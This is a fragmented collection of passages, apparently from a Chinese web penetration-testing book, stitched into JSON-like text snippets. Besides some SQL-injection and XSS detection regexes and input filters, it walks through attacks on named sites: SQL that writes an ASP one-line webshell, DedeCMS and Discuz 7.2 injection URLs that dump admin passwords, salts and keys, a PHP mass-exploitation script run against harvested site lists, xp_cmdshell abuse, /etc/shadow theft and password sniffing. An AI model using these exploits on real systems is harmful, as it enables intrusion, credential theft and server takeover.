Page: /wwwstats．asp (004 + 006) Access Page: /wwwlog．asp (004 + 006) Access Page: /wstats．asp (004 + 006) Access Page: /work．asp (005 + 007) Access Page: /webstats．asp (000 + 016) Access Page: /gansu2/tjhg．files/admin_index．asp (000 + 015) Access Page: /gansu2/tjhg．files/admin．asp (000 + 012) Access Page: /gansu2/gs．files/admin_index．asp (000 + 011) Access Page: /gansu2/gs．files/index_admin．asp (000 + 010) Access Page: /gansu2/tjhg．files/admin_del．asp (000 + 009) Access Page: /gansu2/ddddd．files/manage．asp (000 + 003) Access Page: /gansu2/ddddd．files/index_admin．asp Access Page Final Result: ============================ /gansu2/login．asp (200 OK) Scan Finished C:\\> （2）WED WED（Web Entry Detector）针对存在SQL Injection的网站，对管理账号进行扫描。 对通过WIS扫描出的存在SQL Injection漏洞的网站进行后台管理账号扫描，示例如下。 C:\\>WED．exe http://www．someaspsite.com/shownews．asp?newsid=1544 Web Entry Detector, Ver 1．0 by netXeyes, 2004/08/26 http://www.netXeyes.com, security@vip．sina.com #### Phrase 0: Check Enviroment #### Get Row 1, Set Sensitive 250, Max Threads is 30 File C:\\TableName．dic Opened File C:\\UserField．dic Opened File C:\\PassField．dic Opened #### Phrase 1: Process Argv #### Host:www．someaspsite.com Page:/shownews．asp?newsid=1544 #### Phrase 2: Detect SQL Injection #### SQL Injection Detected． #### Phrase 3: Get Cookies #### Tag: 2017 Cookie: ASPSESSIONIDSADSBTAS=BIMAMMNCLCCIFICPLNEMFKND; path=/ #### Phrase 4: Starting Get Table Name #### Tag: 45 Got Table Name is \"users\" #### Phrase 5: Starting Get Name Field #### Tag: 45 Got Name Field is \"name\" #### Phrase 6: Starting Get Length of Field \"name\" #### Tag: 24 Got Length of Field \"name\" is: 13 #### Phrase 7: Starting Get Password Field #### Tag: 45 Got Password Field is \"pwd\" #### Phrase 8: Starting Get Length of Field \"pwd\" #### Tag: 24 Got Length of Field \"pwd\" is: 9 #### Phrase 9: Starting Brute Field \"name\" and \"pwd\" (Access Mode) #### name is: administrator pwd is: admin@bvn C:\\> 到这一步，就可以通过WIS扫描获得的管理页面后台登录了。"},
    {"text": "1．SQL注入的正则表示式 我们应该考虑用户的各中类型的输入（如表单或Cookie信息），而且如果发现来自一个规则的许多警告，就需要留意单引号或者分号，也许些字符是Web应用程序创造的，可以合法地在Cookie中输入。"},
    {"text": "（1）检测SQL meta- characters的正则表达式 /(\\%27)|(\\’)|(\\- \\- )|(\\%23)|(#)/ix 首先检查单引号等值的Hex、单引号或者双重破折号。"},
    {"text": "（2）典型的SQL注入攻击的正则表达式 /\\w*((\\%27)|(\\’))((\\%6F)|o|(\\%4F))((\\%72)|r|(\\%52))/ix \\w* - //零或多个字符或者下划线 (\\%27)|\\’ - //单引号或它的 Hex 等值 (\\%6 F)|o|(\\%4 F))((\\%72)|r|- (\\%52) //“or”的大/小写及它的 Hex 等值 SQL UNION查询在SQL注入中同样是很常见的。"},
    {"text": "应该进一步修改查询，检测单引号和关键字“union”，这同样可以进一步扩展其他的SQL关键字，如“select”、“insert”、“update”、“delete”。 （3）检测SQL注入UNION查询关键字的正则表达式 /((\\%27)|(\\’))union/ix (\\%27)|(\\’) - //单引号和它的 Hex 等值 （4）“union”、“-union”关键字 可以同样为其他SQL查询定制表达式，如select、insert、update、delete、drop等。"},
    {"text": "在这个阶段，攻击者已经发现Web应用程序存在SQL注入漏洞，所以将尝试利用它。 如果攻击者认识到后端服务器是SQL Server，一般会尝试运行一些危险的储存和扩展储存过程。"},
    {"text": "（5）检测SQL Server SQL注入攻击的正则表达式 /exec(\\s|\\+)+(s|x)p\\w+/ix exec - //请求执行储存或扩展储存过程的关键字 (\\s|\\+)+ - //一个或多个空白或它们的 HTTP 等值编码 (s|x) p- //“sp”或“xp”用来辨认储存或扩展储存过程 \\w+ - //一个或多个字符或下划线来匹配过程的名称 2．跨站脚本（CSS）的正则表达式 当发动CSS攻击或检测一个网站漏洞时，攻击者可能首先使简单的HTML标签，如<b>（粗体）、<i>（斜体）或<u>（下划线），或者可能尝试简单的<script>标签，如“<script>alert(\"OK\")</script>”。"},
    {"text": "下列正则表达式将检测任何文本中包含的HTML的角括号，它将捕获试图使用“<b>”、“<u>”或“<script>”标签的程序，这里的正则表达式应该忽略大小写。"},
    {"text": "（1）一般CSS攻击的正则表达式 /((\\%3C)|<)((\\%2F)|\\/)*[a- z0- 9\\%]+((\\%3E)|>)/ix ((\\%3C)|<) //检查“<”和它的 Hex 等值 ((\\%2F)|\\/)* //结束标签或它的 Hex 等值 [a- z0- 9\\%]+ //检查标签里的字母或它的 Hex 等值 ((\\%3E)|>) //检查“>”或它的 Hex 等值 跨站脚本同样可以使用<img src=>技术。 （2）\"<img src\" CSS攻击正则表达式 /((\\%3C)|<)((\\%69)|i|(\\%49))((\\%6D)|m|(\\%4D))((\\%67)|g|(\\%47))[^\\n]+((\\%3E)| >)/I (\\%3 C)|<) - //“<”或它的 Hex 等值 (\\%69)|i|(\\%49))((\\%6D)|m|(\\%4D))((\\%67)|g|(\\%47) – //“img”或它的大小写 Hex 等值的变化组合 [^\\n]+ - //除了换行符以外的任何跟随“<img”的字符 (\\%3E)|>) - //“>”或它的 Hex 等值 （3）CSS攻击的极端的正则表达式 /((\\%3C)|<)[^\\n]+((\\%3E)|>)/I 这个规则很简单，就是寻找“<+除换行符外的任何字符+>”。"},
    {"text": "3．注入总结 在本节中，我们提出了不同种类的正则表达式规则来检测SQL注入和跨站脚本攻击，有些规则简单而极端，任何一个潜在的攻击都将提高警惕，但这些极端的规则可能导致一些主动的错误。"},
    {"text": "方案四与方案二的区别在于：方案四一旦检测到敏感字符/字符串，针对数据库的操作将即行中止，而方案二是对有问题的客户端输入进行补救，不中止程序后续操作。"},
    {"text": "方案二虽然在一定程度上有效，但有“治标不治本”的嫌疑，随着新的攻击方式不断出现，只要允许服务端程序使用这些提交信息，就有受到攻击的可能。"},
    {"text": "因此，本节针对SQL注入攻击的检测／防御／备案模型，即基于提交信息的合法性检查，在客户端和服务端进行两级检查，只要任一级检查没有通过，提交的信息就不会进入query语句，因而不会构成攻击。"},
    {"text": "客户端检查的主要作用是减少网络流量、降低服务器负荷，将一般误操作的低等级攻击与高等级攻击行为区分开来。 在技术上，客户端的检查是有可能被有经验的攻击者绕开的，在这种情况下，提交的数据被直接发往服务端，所以，在服务器端设置二级检查就显得十分必要。 由于正常提交到服务端的数据已经在客户端检查过，因此，服务端检查发现的提交异常基本可以认定为恶意攻击行为所致，此时就可以中止提交信息的处理，进行攻击备案，并对客户端给出出错或警告提示。"},
    {"text": "SQL注入攻击敏感的字符/关键词包括“exec”、“xp_”、“sp_”、“declare”、“Union”、“cmd”、“+”、“//”、“..”、“;”、“ˊ”、“--”、“%”、“0x”。"},
    {"text": "function Myfilter(str) //这个函数的作用是当需要检查的参数中含有非法字符时返回布尔值“True” Dim strFilter, arrFilter, binFlag, i strFilter=＂exce, xp_, sp_, declare, cmd, Union, //, .., 0x, ˊ, --, ;＂ //如果还有其他敏感的字符或者符号，可以将其直接加入上面这行代码中 binFlag=Flase arrFilter=Split(strFilter, ＂,＂) For i=0 To UBound(arrFilter) If Instr(UCase(str), UCase(arrFilter(i)))>0 Then binFlag= True Exit For End if Next Myfilter=binFlag end function function check() //这个函数的作用数调用 Myfilter 函数对提交的参数进行检查。"},
    {"text": "否则，向服务器端提交参数 dim Uname, UPwd Uname=Tirm(document, Thisform, Username, value) UPwd= Tirm(document, Thisform, UserPwd, value) if Myfilter(Uname) or Myfilter(UPwd) then Alert(＂提交的用户名或者密码中含有非法字符!＂) Exit function else document, Thisform, submit end if end function 提交非法字符的人都有可能是SQL注入的攻击者。"},
    {"text": "但考虑到用户在正常使用中的误操作也有提交非法字符／字符串的可能，因此，客户端的一级检查，无论是对用户误操作，还是对一般性攻击，处理措施只是中止信息的提交，给出友好的出错提示。 如果经过一级检查以后，提交到服务器端的信息中仍然包括非法字符／字符串，那么唯一的可能就是攻击者绕开了客户端的一级检查。"},
    {"text": "<% //Myfilter()函数的代码与上面客户端的代码基本相同，当检测到非法字符时，提交非法字符的源计算 机 IP 地址将被存入一张名为 IP_Attack 的表，该表还会记录该攻击源第一次和最后一次提交非法字符的时间， 以及提交非法字符的次数，对应的字段分别为 IP、FirstAttack、LastAttack、Times Dim Username, UserPwd //定义变量 Username=Trim(Request(＂Username＂)) //读取提交信息并给变量赋值 UserPwd=Trim(Request(＂UserPwd＂)) If Myfilter(Username) or Myfilter(UserPwd) then //如果检测到异常进行攻击备案处理 Dim userip, userip1, userip2 //定义变量 Dim conn, rs, query, strAdd, strUpdate //以下代码用于获取攻击源 IP 地址 userip1 = Request, ServerVariables(＂HTTP_X_FORWARDE_FOR＂) userip2 = Request, ServerVariables(＂REMOTE_ADDR＂) if userip1 = ＂＂ then userip = userip2 else userip = userip1 end if query = ＂Select * form IP_Attack where ip = ˊ＂&userip&＂ˊ＂ //根据 IP 地址构造查询 strAdd = ＂Insert into IP_Attack(IP, FirstAttack, LastAttack) Values(ˊ＂& userip &＂ˊ, ˊ＂& now() &＂ˊ, ˊ＂& now &＂ˊ)＂ set conn = Server.CreateObject(＂Adobd.Connection＂) //与数据库建立连接 set rs = Server.CreateObject(＂Adobd.Recordset＂) conn.open query, Conn, 1, 2, adCmdTable if Rs.RecordCount<=0 then //根据数据库中的备案情况，决定添加新记录或更新已有记录 …… //经过非法字符过滤的提交参数将被认为是不具有威胁的，执行正常处理 end if %> 防范的时候需要对用户的输入进行检查，特别是对一些特殊字符，如单引号、双引号、分号、逗号、冒号、连接号等进行转换或者过滤。"},
    {"text": "需要过滤的特殊字符及字符串有“net user”、“xp_cmdshell”、“/add”、“exec master.dbo.xp_ cmdshell”、“net localgroup administrators”、“select”、“count”、“Asc”、“char”、“mid”、“'”、“：”、“\"”、“insert”、“delete from”、“drop table”、“update”、“truncate”、“from”、“%”。"},
    {"text": "例如，一个用户提交了一个电子邮件地址，只允许使用数字、字母、“@”、“_”、“．”和“-”，原因在于，只有这些字符可以转换成HTML标记。"},
    {"text": "获取网站的真实路径后，可以通过备份数据库、恢复数据库、数据库查询、插入一句话木马到网站配置文件或者新闻输入等位置来获取一句话后门。"},
    {"text": "• 寻找上传页面，上传网页木马，获取WebShell权限。 在获得管理员密码后，通过登录网站后台寻找上传页面，上传网页木马。 有些网站不能直接上传网页木马，但可以利用各种上传漏洞和构建特殊文件上传网页木马。 如果均不能上传网页木马，则仅能获得管理员权限。"},
    {"text": "• 查看是否有直接可以上传WebShell的地方。 如果有，就可以通过直接上传WebShell来获得WebShell控制权限。 • 存在上传地址，但无法直接上传WebShell时，可以尝试通过IIS解析漏洞等方法绕过对文件后缀名的验证。"},
    {"text": "5.2.1 扫描漏洞 本次渗透测试使用一个国外的工具WebCruiser，它提供了免费版本供安全爱好者使用，官方下载地址为http://sec4app.com/。"},
    {"text": "运行WebCruiser，如图5-6所示，在“URL”文本框中输入本次需要扫描的地址“http://www. xxx.org”，然后在菜单栏中单击“Scanner”按钮和“Scan Current Site”标签对目标站点进行扫描。"},
    {"text": "图5-8 进入后台 5.2.4 获取WebShell 在后台中，虽然有数据库备份，但无法获取数据库的真实地址，因此无法进行备份，也就是说，无法通过一句话木马进行数据库备份。"},
    {"text": "图5-9 获取网站真实路径 5.2.5 导入Shell到网站根目录 如图5-10所示，在SQL中输入语句“SELECT '<%execute request(\"a\")%>' into [NB_master] in'd:\\wwwroot\\x.asp;a.xls' 'excel 8.0;' from NB_Master”并执行，即可获得一句话后门。 图5-10 执行SQL语句获取WebShell 注意 NB_Mater必须是CMS系统中真实存在的表，否则无法执行成功。 使用“中国菜刀”进行一句话木马测试，如图5-11所示，可成功获得该网站的WebShell权限。 图5-11 获取WebShell 5.2.6 上传大马进行控制 在“中国菜刀”中直接上传一个ASP.NET的WebShell并运行，如图5-12所示，通过该WebShell查看数据库及系统配置等信息。"},
    {"text": "5.3 DedeCMS全版本SQL注入漏洞利用代码及工具 DedeCMS（即“织梦”，http://www.dedecms.com/）是目前著名的网站内容管理之一，以简单、实用、开源闻名，是国内最知名的PHP开源网站管理系统，也是用户最多的PHP类CMS系统。 近日，网友在DedeCMS中发现了全版本的SQL注入漏洞，目前官方最新版已修复该漏洞。"},
    {"text": "1．比较漏洞文件 通过DedeCMS下载站点http://updatenew.dedecms.com/base-v57/package／下载补丁文件patch-v57&v57sp1-20140228.zip，阅读其更新文件说明可以知道，主要更新文件如下。"},
    {"text": "//***** 修补后.php } //$$_key = $_FILES[$_key]['tmp_name'] = str_replace(\"\\\\\\\\\", \"\\\\\", $_FILES[$_key]['tmp_name']); $$_key = $_FILES[$_key]['tmp_name'] = $_FILES[$_key]['tmp_name']; ${$_key.'_name'} = $_FILES[$_key]['name']; //***** 修补前.PHP } $$_key = $_FILES[$_key]['tmp_name'] = str_replace(\"\\\\\\\\\", \"\\\\\", $_FILES[$_key]['tmp_name']); //吧$_FILES[$_key]['tmp_name']里面的\\\\\\\\替换为\\\\ ${$_key.'_name'} = $_FILES[$_key]['name']; 2．漏洞利用分析 str_replace替换是本次出现SQL注入的关键，但$_FILES[$_key]['tmp_name']是PHP系统生成的随机变量，默认不可控。 结合“include/common.inc.php”文件中的代码，只要变量名不包含“cfg”、“_GLOBALS”、“_GET”、“_POST”、“_COOKIE”即可。 利用上面的代码，可以覆盖$_FILES，同时利用代码“$$_key =$_FILES[$_key]['tmp_name'] = str_replace(\"\\\\\\\\\", \"\\\\\", $_FILES[$_key]['tmp_ name']);”。 3．漏洞利用代码 可利用代码1 plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\\' or mid=@`\\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin` limit+0,1),5,6,7,8,9%23@`\\'`+&_FILES[type][name]=1.jpg&_FILES[type][type]=applic ation/octet-stream&_FILES[type][size]=6873 可利用代码2 plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][ type]&_FILES[type][tmp_name]=aa\\'and+char(@`'`)+/*!50000Union*/+/*!50000SeLect*/ +1,2,3,group_concat(userid,0x23,pwd),5,6,7,8,9 from `%23@__admin`%23 可利用代码3 plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\\\\%27%20or%20mid=@`\\ \\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,p wd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\\\\%27`+&_FILES[type][name]=1.j pg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294 可利用代码4 plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\\' or mid=@`\\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin` limit+0,1),5,6,7,8,9%23@`\\'`+&_FILES[type][name]=1.jpg&_FILES[type] [type]=application/octet-stream&_FILES[type][size]=111 还有网友根据漏洞利用方式开发出来一款漏洞利用工具，将网站地址输入利用工具，就可以获取管理员的密码，实际使用效果如图5-13所示。"},
    {"text": "图5-13 DedeCMS SQL注入漏洞利用工具 4．利用方式探讨 对DedeCMS而言，只要获取了最高管理员权限，就可以通过文件管理器快捷、方便地获取WebShell，也即通过新建文件或者编辑PHP文件均可获取WebShell。 但是，DedeCMS在安装时默认的后台管理地址为“http://www.somesite.com/dede”，实际安装过程中，处于对安全性的考虑，一般会修改默认后台，因此，即使获取了管理员密码，也可能无法获取网站权限。"},
    {"text": "图5-14 利用Google搜索DedeCMS标识 02 手动获取管理员密码 在搜索结果中随机选择一个网站地址，打开网站后，在其网站地址后面加入“/plus/recommend. php?aid=1&_FILES[type] [name]&_FILES[type] [size]&_FILES[type] [type]&_FILES[type] [tmp_name]= aa\\%27and+char(@`%27`)+/* !50000Union*/+/* !50000SeLect*/+1,2,3,group_concat(userid,0x23,pwd),5,6,7,8,9%20from%20`%23@__admin`%23”，可获取管理员的账号和密码信息，如图5-15所示。"},
    {"text": "图5-15 测试SQL注入点 03 破解管理员密码 获取了3组账号和密码，分别是spider#f297a57a5a743894a0e4、3dsk#eed756463edea1f021db、admina#f297a57a5a743894a0e4（“#”为后为密码）。"},
    {"text": "图5-16 破解管理员密码 04 登录后台并获取WebShell 找到后台管理地址后，输入获取的管理员和密码，进入后台管理系统，获取的账号必须是最高管理员权限。"},
    {"text": "<?php print_r( \" +------------------------------------+ DEDECMS 批量利用工具 By :Sunshie Usage: $argv[0] Filename Example: php.exe $argv[0] url.txt url.txt 是你采集的网址文件！ +------------------------------------+ \\r\\n\\r\\n\\r\\n\" ); $filename=$argv[1]; if(!file_exists($filename)) echo \"o(╯□╰)o 你采集的文件呢？ \\r\\n\"; $conts = file_get_contents($filename); $arrConts = explode(\"\\n\",$conts); $arrConts=str_replace(\" \",\"\",$arrConts); $arrConts=str_replace(\"\\r\",\"\",$arrConts); $arrConts=str_replace(\"\\n\",\"\",$arrConts); //print_r($arrConts ); for($i=0;isset($arrConts[$i]);$i++){ echo fuckdede($arrConts[$i]); } function fuckdede($sb){ $sb=str_replace(\"http://\",\"\",$sb); $expp=\"http://\".$sb.\"/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[typ e][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\\'and+char(@`'`)+/*!50000Un ion*/+/*!50000SeLect*/+1,2,3,concat(0x3C6162633E,group_concat(0x7C,userid,0x3a,p wd,0x7C),0x3C2F6162633E),5,6,7,8,9%20from%20`%23@__admin`%23\"; $exp=@file_get_contents($expp); eregi(\"_<abc>(.*)</abc>_\", $exp, $arr); $exploit=str_replace(\"_<abc>\", \"==fuck\", $arr[0]); $exploit=str_replace(\"</abc>_\", \"fuck==\", $exploit); return \"网址:\".$sb.\"注入结果 : \".$exploit.\"\\r\\n--------------------------\\r \\n\"; } ?> 利用方法为：通过网络搜集DedeCMS网站的网址，将网址整理到url.txt文件中，然后执行命令“php dedecms url.txt”，即可获取存在漏洞的网站管理员信息，如图5-19所示。"},
    {"text": "参考文章 • DedeCMS全版本通杀SQL注入漏洞利用代码及工具：http://www.freebuf.com/tools/27206.html • DedeCMS recommend.php注入：http://0day5.com/archives/1349 5.4 对某网站的一次安全检测 一个偶然的机会，笔者对某网站了进行安全渗透测试，发现该网站早就被渗透过，这也印证了——只要在互联网上，就没有不被攻击的目标。"},
    {"text": "5.4.1 发现SQL注入点 在浏览器中输入网站地址http://www.somesite.com/xqdw/show_xqdw.asp?id=280，在末尾加入一个单引号，获取以下错误提示信息。"},
    {"text": "图5-20 获取数据库等信息 5.4.3 获取管理员账号和密码 通过Pangolin选择默认数据库，获取管理员表，猜解管理账号和密码，获取账号和密码信息admin#63641ad07f2bdf3e和ztz#53022d86c6ae8970（“#”为后为密码）。"},
    {"text": "图5-21 无法登录后台地址 5.4.4 查看网站真实路径和文件名称等信息 由于存在的SQL注入点为db_owner权限，因此可以获取服务器上文件名称等信息，也即可以列目录，如图5-22所示，依次对C盘、D盘、E盘、F盘等进行列目录查看，最终获取该网站运行的真实路径为“F:\\wode\\Tx\\”。 图5-22 获取网站真实路径 5.4.5 获取后台管理地址和权限 获取后台管理地址“http://www.somesite.com/xk_m* * *ge_new/xh_login.asp”，将获取的管理员用户和密码进行登录，成功进去后台，如图5-23所示。"},
    {"text": "图5-23 获取后台管理权限 图5-24 无法上传图片 5.4.6 利用FCKeditor编辑器漏洞获取WebShell 既然通过后台无法获取WebShell，那么，我们回到Pangolin界面，对网站目录和文件进行分析。"},
    {"text": "图5-25 获取FCKeditor编辑器信息 在浏览器地址栏中输入利用地址http://www.somesite.com/xk_m***ge_new/fck/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp，如图5-26所示，先新建“1.asp”文件夹，再上传图片后门。 图5-26 上传图片后门 5.4.7 获取WebShell权限 通过分析真实的图片地址，如图5-27所示，获取FCKeditor编辑器上传的真实路径http://www. somesite.com/fupload/Image。"},
    {"text": "图5-27 获取图片的真实地址 图5-28 获取WebShell权限 5.5 通过sa权限注入获取服务器权限 偶然获取站点www.chinaacn.com的SQL注入漏洞，且该漏洞为sa权限。"},
    {"text": "图5-29 扫描网站安全漏洞 5.5.2 SQL注入渗透测试 在JSky漏洞扫描结果中，选择“http://www.chinaacn.com:80/new_News.asp?num=15&cutnum=18&GetName=hot&classid=1”所在的注入点，并使用Pangolin进行SQL注入测试，如图5-30所示，获取注入点的基本信息：数据库是MSSQL，且为sa权限。"},
    {"text": "图5-30 SQL注入测试 5.5.3 直接执行DOS系统提权命令 在Pangolin注入工具中，单击“Command”工具栏，如图5-31所示，在“Command”文本框中输入“net localgroup administrators”以查看所有管理员。"},
    {"text": "图5-31 执行系统提权命令 5.5.4 获取服务器权限 操作系统为Windows 2003 Server，通过扫描发现该网站所在服务器的远程终端服务器端口为3389，通过新增的用户账号和密码直接登录该服务器，如图5-32所示，成功进入该服务器，获得服务器权限。 图5-32 获取服务器权限 5.5.5 查看站点管理器 打开Internet信息服务器（IIS）管理器，如图5-33所示，可以看到该服务器上托管了多个网站，猜测为虚拟主机托管。"},
    {"text": "图5-33 查看其他站点的信息 5.5.6 获取sa账号和密码 通过IIS管理器获取目标站点的物理路径“D:\\china-ys\\china-ys\\wwwroot”，通过查看connsql.asp文件获取SQL数据库连接字符串配置信息，掌握sa账号和密码，如图5-34所示。"},
    {"text": "图5-35 获取SNMP管理账号和密码 5.5.8 获取邮箱账号和密码 在密码嗅探结果中，POP3协议下的效果不错，有114条记录，如图5-36所示，获取了邮箱账号和密码，以及POP3服务器的IP地址。"},
    {"text": "图5-36 获取POP3邮件账号和密码 图5-37 测试邮件账号 5.5.9 总结与思考 • 由于SQL注入点为sa权限，因此，可以通过Pangolin注入工具直接执行system命令，在获取远程终端端口后，使用添加的账号直接登录并获取服务器权限，这是sa权限渗透的一种思路。"},
    {"text": "主要目标无法渗透的情况下，可以渗透同网段的服务器。 在获取同网段服务器权限的情况下，对目标服务器进行定向嗅探，有时会有意想不到的收获。"},
    {"text": "• SQL Server 2005可以在SQL语句中执行“EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;”来xp_cmdshell存储过程。"},
    {"text": "5.6.2 进行SQL注入测试 在扫描结果中随机选择存在SQL注入的记录“http://www.casic-amc.cn/software/content.jsp?id= 688”，首先对环境信息进行探测。"},
    {"text": "图5-39 获取网站后台权限 5.6.4 对上传功能漏洞进行测试 通过对后台功能进行测试，最有可能获取WebShell权限的地方为“公告信息管理”模块。"},
    {"text": "图5-40 获取文件上传页面 5.6.5 获取文件读取漏洞 发现上传页面后，通过实际测试发现仅能上传图片文件，无法上传Shell文件，但通过该上传页面可以浏览服务器上的文件。 5.6.6 获取Linux账号和密码 通过文件读取漏洞，下载Linux下的“etc/passwd”和“etc/shadow”等文件。"},
    {"text": "其中，“etc/shadow”包含系统中的所有用户名和密码，与Windows中的用户账号和密码类似，主要有“root”和“hanwm”两个账号，其他账号为系统内置账号，无法登录系统。"},
    {"text": "图5-41 破解Linux账号 5.6.8 获取Linux SSH账号权限 通过SSH Secure Client登录该Linux服务器，当前目录即为网站目录，通过“cat test-mysql.jsp”命令获取该文件的内容。"},
    {"text": "如果已经安装，则可以通过上传图片获取WebShell，即通过上传图片网页木马phpinfo.jpg到uploads目录，然后访问地址http://192.168.1.103/uploads/phpinfo.jpg/1.php获取WebShell，文件1.php可以是任意PHP文件。"},
    {"text": "5.7 Discuz! 7.2 faq.php文件SQL注入漏洞分析及利用实战 最近，网上公开了Discuz! 7.2 faq.php文件SQL注入0day漏洞，通过对文件漏洞分析及测试，效果不错。"},
    {"text": "} elseif($action == 'grouppermission') { require_once './include/forum.func.php'; require_once language('misc'); $permlang = $language; unset($language); $searchgroupid = isset($searchgroupid) ? intval($searchgroupid) : $groupid; $groups = $grouplist = array(); $query = $db-<query(\"SELECT groupid, type, grouptitle, radminid FROM {$tablepre}usergroups ORDER BY (creditshigher<>'0' || creditslower<>'0'), creditslower\"); $cgdata = $nextgid = ''; while($group = $db->fetch_array($query)) { $group['type'] = $group['type'] == 'special' && $group['radminid'] ? 'specialadmin' : $group['type']; $groups[$group['type']][] = array($group['groupid'], $group['grouptitle']); $grouplist[$group['type']] .= '<option value=\"'.$group['groupid'].'\"'.($searchgroupid == $group['groupid'] ? ' selected=\"selected\"' : '').'>'.$group['grouptitle'].($groupid == $group['groupid'] ? ' &larr;' : '').'</option>'; if($group['groupid'] == $searchgroupid) { $cgdata = array($group['type'], count($groups[$group['type']]) - 1, $group['groupid']); } } if($cgdata[0] == 'member') { $nextgid = $groups[$cgdata[0]][$cgdata[1] + 1][0]; if($cgdata[1] > 0) { $gids[1] = $groups[$cgdata[0]][$cgdata[1] - 1]; } $gids[2] = $groups[$cgdata[0]][$cgdata[1]]; if($cgdata[1] < count($groups[$cgdata[0]]) - 1) { $gids[3] = $groups[$cgdata[0]][$cgdata[1] + 1]; if(count($gids) == 2) { $gids[4] = $groups[$cgdata[0]][$cgdata[1] + 2]; } } elseif(count($gids) == 2) { $gids[0] = $groups[$cgdata[0]][$cgdata[1] - 2]; } } else { $gids[1] = $groups[$cgdata[0]][$cgdata[1]]; } ksort($gids); $groupids = array(); foreach($gids as $row) { $groupids[] = $row[0]; } $query = $db->query(\"SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (\".implodeids($groupids).\")\"); $groups = array(); 首先，定义一个数组groupids，然后遍历$gids（这也是一个数组，就是$_GET[gids]），将数组中所有值的第一位取出来放在groupids中。"},
    {"text": "所以，如果我们的传入的参数是“gids[1]='”，就会被转义成“$gids[1]=\\'”，而赋值语句“$groupids[] = $row[0]”就相当于取了字符串的第一个字符，也就是“＼”（把转义符号取出来了）。"},
    {"text": "function implodeids($array) { if(!empty($array)) { return \"'\".implode(\"','\", is_array($array) ? $array : array($array)).\"'\"; } else { return ''; } } 这是一个很简单的函数，就是将刚才的$groupids数组用“,”分开，组成一个类似“'1','2','3','4'”的字符串返回。"},
    {"text": "利用上面的思路，通过提交“faq.php?xigr[]='&xigr[] [uid]=evilcode”这样的构造形式可以很容易地突破GPC或类似的安全处理，形成SQL注入漏洞。"},
    {"text": "faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x27,password) from cdb_members limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23 5.7.2 可利用EXP代码 源码1 获取MySQL用户信息 http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][ 0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28user%28% 29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by% 20x%29a%29%23 源码2 获取数据库版本信息 http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][ 0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28version% 28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20 by%20x%29a%29%23 源码3 获取数据库信息 http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][ 0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28database %28%29,floor%28rand%280%29*2%29,0x3a,concat%28user%28%29%29%20%29x%20from%20info rmation_schema.tables%20group%20by%20x%29a%29%23 源码4 获取数据库用户名和密码 http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][ 0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(use r,0x3a,password,0x3a)%20from%20mysql.user limit 0,1 ),floor(rand(0)*2)) x%20from%20information_schema.tables%20group%20by%20x)a)%23 源码5 获取用户名、电子邮件地址、密码和SALT信息 http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][ 0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28selec t%20concat%28username,0x3a,email,0x3a,password,0x3a,salt,0x3a,secques%29%20from% 20cdb_uc_members limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20 information_schema.tables%20group%20by%20x%29a%29%23 源码6 获取uc_key http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][ 0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3 a,(select%20substr(authkey,1,62)%20from%20cdb_uc_applications%20limit%200,1),0x3 a)x%20from%20information_schema.tables%20group%20by%20x)a)%23 源码7 获取指定uid的密码 http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][ 0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28selec t%20concat%28username,0x3a,email,0x3a,password,0x3a,salt%29%20from%20cdb_uc_memb ers where uid=1 %20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20 information_schema.tables%20group%20by%20x%29a%29%23 5.7.3 EXP工具的使用 网上公布了可利用的EXP工具，通过该工具可以快速获取管理员密码，但有时候admin账号并不是管理员账号。"},
    {"text": "01 直接获取WebShell，一句话密码为“i0day”，示例如下。 php dz7.2.php www.antian365.com / 1 02 获取管理密码，示例如下。 php dz7.2.php www.antian365.com / 2 5.7.4 漏洞思路的利用 • 通过EXP直接获取WebShell。"},
    {"text": "通过在cmd5.com网站对管理密码进行查询，需要SALT，获取的SALT要去掉最后一个数字“1”，示例如下，而需要查询的是“c6c45f444cf6a41b309c9401ab 9a55a7:066ff7”。"},
